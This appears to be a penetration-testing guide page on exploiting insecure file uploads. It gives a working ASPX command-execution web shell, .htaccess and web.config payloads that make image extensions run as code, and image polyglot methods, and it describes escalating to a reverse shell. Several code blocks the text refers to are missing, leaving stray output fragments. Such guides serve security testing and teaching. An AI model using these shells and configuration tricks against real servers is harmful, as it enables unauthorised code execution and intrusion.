File Upload Exploitation
File upload exploitation assumes you have already confirmed a bypass in the file upload validation testing page. The steps here cover delivering the web shell using that bypass, locating where it was stored, confirming execution, and getting a reverse shell.
The general file upload web shell workflow follows these steps:
- Upload a web shell payload using the confirmed bypass technique
- Locate the upload path through response headers or directory fuzzing
- Confirm code execution with a safe command like
id - Escalate to a reverse shell for interactive access
Deliver the Web Shell
Use a minimal PHP web shell. Small payloads survive more upload filters than feature-heavy alternatives:
< Location: /uploads/shell.php
For a magic byte bypass when the server checks file signatures:
Locate the Upload Path
If the upload response doesn't return the path, fuzz common upload directories:
uploads [Status: 200, Size: 0]
200 uploads 404 upload 404 files
Confirm Execution
Request the uploaded file with a safe command. A 200 with command output means the server is executing PHP in the upload directory:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
If the response returns raw PHP source instead of executing, the upload directory is not configured to execute PHP. Try a different path or check if a .htaccess upload would enable execution in that directory.
Get a Reverse Shell
Set up the listener and send the reverse shell payload through the web shell:
If bash is blocked or the redirect operator is filtered, use mkfifo:
ASPX Web Shell for IIS Targets
When the target runs IIS and .aspx execution was confirmed during upload testing:
<%@ Page Language="C#" %>
<% var p = System.Diagnostics.Process.Start(new System.Diagnostics.ProcessStartInfo("cmd.exe", "/c " + Request["cmd"]) { UseShellExecute = false, RedirectStandardOutput = true });
Response.Write(p.StandardOutput.ReadToEnd()); %>
iis apppool\defaultapppool
.htaccess Upload
When the upload directory does not execute PHP, uploading a .htaccess file can change that. Apache reads .htaccess per-directory if AllowOverride is enabled. A crafted .htaccess that maps a harmless extension to the PHP handler lets you execute code from a file that passed extension-based filters.
AddType application/x-httpd-php .jpg
This directive tells Apache to process .jpg files as PHP in this directory. Upload the .htaccess first, then upload a PHP web shell renamed to .jpg. The server executes the PHP code despite the image extension.
uid=33(www-data) gid=33(www-data) groups=33(www-data)
If the server blocks .htaccess upload by filename, try content type manipulation or a different mapped extension that the filter does not check:
AddType application/x-httpd-php .hack
This only works on Apache with AllowOverride All or AllowOverride FileInfo. Nginx and IIS ignore .htaccess entirely.
web.config Upload
On IIS, web.config is the per-directory configuration file, equivalent to .htaccess on Apache. Uploading a crafted web.config can map arbitrary file extensions to the ASP.NET handler, enabling code execution from files with harmless extensions.
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.webServer>
<handlers>
<add name="aspx_jpg" path="*.jpg" verb="*"
type="System.Web.UI.PageHandlerFactory"
resourceType="Unspecified" />
</handlers>
</system.webServer>
</configuration>
This maps .jpg files to the ASP.NET page handler. Upload this web.config to the upload directory, then upload an ASPX web shell with a .jpg extension. IIS processes it as an ASP.NET page.
Create the ASPX web shell with a .jpg extension. The web.config handler mapping makes IIS execute it as an ASP.NET page:
iis apppool\defaultapppool
The web.config approach works when the application pool runs in managed pipeline mode. Classic mode requires a different handler mapping. If the server returns a configuration error, the application pool may not have permission to override handler mappings at the directory level.
Polyglot Files
A polyglot file is valid in two formats simultaneously. For upload exploitation, this means creating a file that passes image validation (correct headers, parseable by image libraries) while also containing executable code. This bypasses validation that checks file signatures, dimensions, or re-renders the image.
GIF + PHP Polyglot
The GIF89a header is 6 bytes and PHP ignores everything before <?php. A file starting with the GIF header followed by PHP code passes magic byte checks while remaining executable.
polyglot.gif: GIF image data
JPEG Comment + PHP
Use exiftool to inject PHP code into the JPEG comment field. The image remains valid and opens in image viewers, but if the server processes the file as PHP, the code in the comment executes.
Exiftool writes the PHP payload into the EXIF comment field without breaking the JPEG structure. If the server uses getimagesize() or similar functions for validation, the file still passes because it is a valid JPEG. Combine this with a .htaccess upload or double extension bypass to get the server to execute the PHP code.
Warning
Some servers re-render uploaded images using GD or ImageMagick, which strips embedded code. If the polyglot payload disappears after upload, the server is reprocessing the image. Try uploading a polyglot in a format the server does not re-render, or look for a different upload vector.
References
-
PortSwigger: File Upload VulnerabilitiesTOOL: PortSwigger: File Upload Vulnerabilities, portswigger.net/web-security/file-upload (opens in new tab)
Exploitation scenarios including path disclosure and server-side execution bypass
-
PayloadsAllTheThings: Upload Insecure FilesREPO: PayloadsAllTheThings: Upload Insecure Files, github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20Insecure%20Files (opens in new tab)
Web shell payloads and bypass techniques for multiple server types